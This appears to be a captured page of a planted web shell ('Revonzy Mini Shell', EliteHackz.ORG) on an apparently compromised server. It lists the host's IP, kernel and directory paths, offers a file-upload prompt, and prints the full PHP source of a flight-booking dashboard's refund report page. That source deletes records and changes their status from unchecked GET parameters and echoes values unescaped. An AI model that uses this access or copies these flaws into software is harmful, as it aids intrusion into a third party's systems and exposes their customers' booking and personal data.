Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/b2bflight.com/B2BFlight/project/dashboard/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/b2bflight.com/B2BFlight/project/dashboard/print-refund_request.php

<?php
	require_once('lib/functions.php');
	$db		=	new class_functions();
	
	$flag	=	0;
	if(isset($_GET['delete_id']))
	{
		$delete_id	=$_GET['delete_id'];
		
		if($db->delete_register($delete_id))
		{
			$flag	=	3;
		}
		
	}


	if (isset($_GET['id'])) {
    $res_id = $_GET['id'];
    $status = $_GET['status'];
    
	if ($db->set_status_register($res_id,$status)) {
		?>
		<script>
			alert("Registeration status updated successfully");
		</script>
		<?php
	}
}	


	
if(isset($_SESSION['current_login_admin'])) 
{
    $current_login_admin=$_SESSION['current_login_admin'];
}

		$bfrom_date 	  		= date("Y-m-d");
		$bto_date 	  	   	= date("Y-m-d");
		$bfrom_loc 	  		= "";
		$bto_loc 	  		= "";
		$bstatus 			= "";
		$bcustomer_name 	  	= "";

		 if(isset($_SESSION['filter_bfrom_date'])){
		$bfrom_date = $_SESSION['filter_bfrom_date'];
		$bto_date = $_SESSION['filter_bto_date'];
		$bfrom_loc = $_SESSION['filter_bfrom_loc'];
		$bto_loc = $_SESSION['filter_bto_loc'];
		$bstatus = $_SESSION['filter_bstatus'];
		$bcustomer_name = $_SESSION['filter_bcustomer_name'];

	$data	=	array();
	$data	=	$db-> get_all_flight_booking_for_agent_for_refund_for_search($current_login_admin,$bfrom_date,$bto_date,$bfrom_loc,$bto_loc,$bstatus,$bcustomer_name);

?>
<!doctype html>
<html lang="en" dir="ltr">
  <head>
  </head>
  <body class="">
<style>
    .bordered-table {
        border-collapse: collapse;
        width: 100%;
    }
    .bordered-table th,
    .bordered-table td {
        border: 1px solid black;
        padding: 8px;
        text-align: left;
    }
</style>
    
   
	<main class="main-content">
    	
	  
      <div class="conatiner-fluid content-inner mt-n5 py-0">
		<div class="row">
    		<div class="col-sm-12">
        		<div class="card">
		
			
			
		
            <div class="card-header d-flex justify-content-between flex-wrap">
            	<center>
                <div class="header-title">
                    <h1 class="card-title mb-0">Flight Booking Report For Refund</h1>
                </div>
                </center>
            </div>
            <center>
			     <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
			        <div style="display: flex; justify-content: center; align-items: center; height: 10vh;">
			            <div class="form-container" style="display: flex; gap: 30px; margin-top: 20px;">
			               
                               
                                    <div class="form-group">
                                       <label  class="form-label">From Travel Date :</label>
                                       <?php echo $bfrom_date ?>
                                    </div>
                              

                                
                                    <div class="form-group">
                                       <label class="form-label">To Travel Date :</label>
                                       <?php echo $bto_date ?>
                                    </div>
                                
								
                                    <div class="form-group">
                                       <label class="form-label">From Location : </label>
                                       <?php echo $bfrom_loc; ?>
                                    </div>
								
								
                                    <div class="form-group">
                                       <label class="form-label">To Location : </label>
										<?php echo $bto_loc; ?>
                                    </div>
									
									<div class="form-group">
                                       <label class="form-label">Status : </label>
										<?php echo $bstatus; ?>
                                    </div>
									
									 <div class="form-group">
                                       <label class="form-label">Customer Name</label>
                                       <?php echo $bcustomer_name; ?>
                                    </div>
								
									
								 
			            </div>
			        </div>
			    </form>
			</center>

			 <div class="card-body" >
                <div class="table-responsive" >
                    <table class="table table-bordered" style="border-collapse: collapse; width: 100%;">
                        <thead >
                            <tr style="border: 1px solid black;">
								<th style="border: 1px solid black;">Sr No</th>
								<th style="border: 1px solid black;">Ticket </th>
								<th style="border: 1px solid black;">Request to Refund</th>
                                <th style="border: 1px solid black;">transaction id</th>
								<th style="border: 1px solid black;">Booking type</th>
								<th style="border: 1px solid black;">Agent id</th>
								<th style="border: 1px solid black;">From location</th>
								<th style="border: 1px solid black;">To location</th>
								<th style="border: 1px solid black;">Travel date</th>
								<th style="border: 1px solid black;">pax size</th>
								<th style="border: 1px solid black;">Tour code</th>
								<th style="border: 1px solid black;">traveller type</th>
								<th style="border: 1px solid black;">salutation</th>
								<th style="border: 1px solid black;">first name</th>
								<th style="border: 1px solid black;">Last name</th>
								<th style="border: 1px solid black;">Birth dd</th>
								<th style="border: 1px solid black;">Birth mm</th>
								<th style="border: 1px solid black;">Birth year</th>
								<th style="border: 1px solid black;">Ticket status</th>
								<th style="border: 1px solid black;">Ticket amount</th>
								<th style="border: 1px solid black;">Total amount</th>
								<th style="border: 1px solid black;">Commission</th>
								<th style="border: 1px solid black;">Date</th>
								<th style="border: 1px solid black;">Time</th>
								<th style="border: 1px solid black;">Booking Id</th>
								<th style="border: 1px solid black;" >PNR No</th>
								<th style="border: 1px solid black;">Flight No</th>
								<th style="border: 1px solid black;">Arrival Time</th>
								<th style="border: 1px solid black;">Departure Time</th>>
                </tr>			
								
                        </thead>
                        <tbody >						
							
							<?php
								
								$counter = 1;
								if(!empty($data))
								{
									foreach($data as $record)
									{	
										$id									=$record[0];
										$transaction_id						=$record[1];
										$booking_type						=$record[2];
										$agent_id							=$record[3];
										$from_location						=$record[4];
										$to_location						=$record[5];
										$travel_date						=$record[6];
										$pax_size							=$record[7];
										$tour_code							=$record[8];
										$traveller_type						=$record[9];
										$salutation							=$record[10];
										$first_name							=$record[11];
										$last_name							=$record[12];
										$birth_dd							=$record[13];
										$birth_mm							=$record[14];
										$birth_year							=$record[15];
										$ticket_status						=$record[16];
										$ticket_amount						=$record[17];
										$total_amount						=$record[18];
										$commission							=$record[19];
										$other_1							=$record[20];
										$other_2							=$record[21];
										$other_3							=$record[22];
										$date								=$record[23];
										$time								=$record[24];
										
										$booking_id							=$record[25];
										$pnr_no								=$record[26];
										$flight_no							=$record[27];
										$arrival_time						=$record[28];
										$departure_time						=$record[29	];
										
										
							?>
								<tr style="border: 1px solid black;">
								<!--<td><a href="request_refuncd.php?request_id=<?php  echo $id; ?>">Request</a></td>-->
								<td class=""><?php echo $transaction_id; ?> <br></td>
								<td class=""><?php echo	$booking_type; ?></td>
								<td class=""><?php echo	$agent_id; ?></td>
								<td class=""><?php echo $from_location; ?></td>
								<td class=""><?php echo $to_location; ?></td>
								<td class=""><?php echo $travel_date; ?></td>
								<td class=""><?php echo	$pax_size; ?></td>
								<td class=""><?php echo	$tour_code; ?></td>
							    <td class=""><?php echo	$traveller_type; ?></td>
								<td class=""><?php echo	$salutation; ?></td>
								<td class=""><?php echo	$first_name; ?></td>
								<td class=""><?php echo $last_name; ?></td>
								<td class=""><?php echo $birth_dd; ?></td>
								<td class=""><?php echo $birth_mm; ?></td>
								<td class=""><?php echo $birth_year; ?></td>
								<td class=""><?php echo $ticket_status; ?></td>
								<td class=""><?php echo $ticket_amount; ?></td>
								<td class=""><?php echo $total_amount; ?></td>
								<td class=""><?php echo $commission; ?></td>
								<td class=""><?php echo $date; ?></td>
								<td class=""><?php echo $time; ?></td>
								
								<td class=""><?php echo $booking_id; ?></td>
								<td class=""><?php echo $pnr_no; ?></td>
								<td class=""><?php echo $flight_no; ?></td>
								<td class=""><?php echo $arrival_time; ?></td>
								<td class=""><?php echo $departure_time; ?></td>

                </tr>
							
							<?php
												$counter++;
										}
									}
									else
									{
										echo "no data found.";
									}
		 }
							?>
						</tbody>
                    </table>
                  
                </div>
            </div>
	</div>
</div>
</div>
 
    <!-- Library Bundle Script -->
    <script src="../assets/js/core/libs.min.js"></script>
    
    <!-- External Library Bundle Script -->
    <script src="../assets/js/core/external.min.js"></script>
    
    <!-- Widgetchart Script -->
    <script src="../assets/js/charts/widgetcharts.js"></script>
    
    <!-- mapchart Script -->
    <script src="../assets/js/charts/vectore-chart.js"></script>
    <script src="../assets/js/charts/dashboard.js" ></script>
    
    <!-- fslightbox Script -->
    <script src="../assets/js/plugins/fslightbox.js"></script>
    
    <!-- Settings Script -->
    <script src="../assets/js/plugins/setting.js"></script>
    
    <!-- Slider-tab Script -->
    <script src="../assets/js/plugins/slider-tabs.js"></script>
    
    <!-- Form Wizard Script -->
    <script src="../assets/js/plugins/form-wizard.js"></script>
    
    <!-- AOS Animation Plugin-->
    <script src="../assets/vendor/aos/dist/aos.js"></script>
    
    <!-- App Script -->
    <script src="../assets/js/hope-ui.js" defer></script>
     <style>
	.sidebar.sidebar-default .nav-link:not(.static-item).active , .sidebar.sidebar-default .nav-link:not(.static-item).active, .sidebar.sidebar-default .nav-link:not(.static-item)[aria-expanded=true]
	{
		background-color:#FE6600 !important;
	}
	</style>
  </body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4